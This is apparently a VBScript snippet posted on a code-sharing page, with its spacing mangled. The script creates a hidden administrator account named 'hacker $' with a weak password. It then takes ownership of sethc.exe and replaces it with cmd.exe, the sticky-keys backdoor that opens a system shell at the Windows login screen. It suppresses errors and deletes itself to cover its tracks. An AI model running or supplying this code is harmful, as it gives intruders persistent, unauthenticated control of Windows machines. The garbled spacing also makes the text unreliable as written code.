Copy codeThe Code is as follows: on error resume next
Dim username, password: If Wscript. Arguments. Count Then: username = Wscript. Arguments
(0): password = Wscript. Arguments (1): Else: username = "hacker $": password = "123456": end if: set
Wsnetwork = CreateObject ("WSCRIPT. NETWORK"): OS = "WinNT: //" & wsnetwork. ComputerName: Set ob = GetObject
(OS): Set oe = GetObject (OS & "/Administrators, group"): Set od = ob. Create ("user", username): od. SetPassword
Password: od. SetInfo: Set of = GetObject (OS & "/" & username & ", user"): oe. Add (of. ADsPath) 'wscript. echo
Of. ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject ("WScript. Shell ")
Success = obj. run ("cmd/c takeown/f % SystemRoot % \ system32 \ sethc.exe & echo y | cacls % SystemRoot %
\ System32 \ sethc.exe/G % USERNAME %: F & copy % SystemRoot % \ system32 \ cmd.exe % SystemRoot % \ system32
\ Acmd.exe & copy % SystemRoot % \ system32 \ sethc.exe % SystemRoot % \ system32 \ asethc.exe & del % SystemRoot %
\ System32 \ sethc.exe & ren % SystemRoot % \ system32 \ acmd.exe sethc.exe ", 0, True)
CreateObject ("Scripting. FileSystemObject"). DeleteFile (WScript. ScriptName)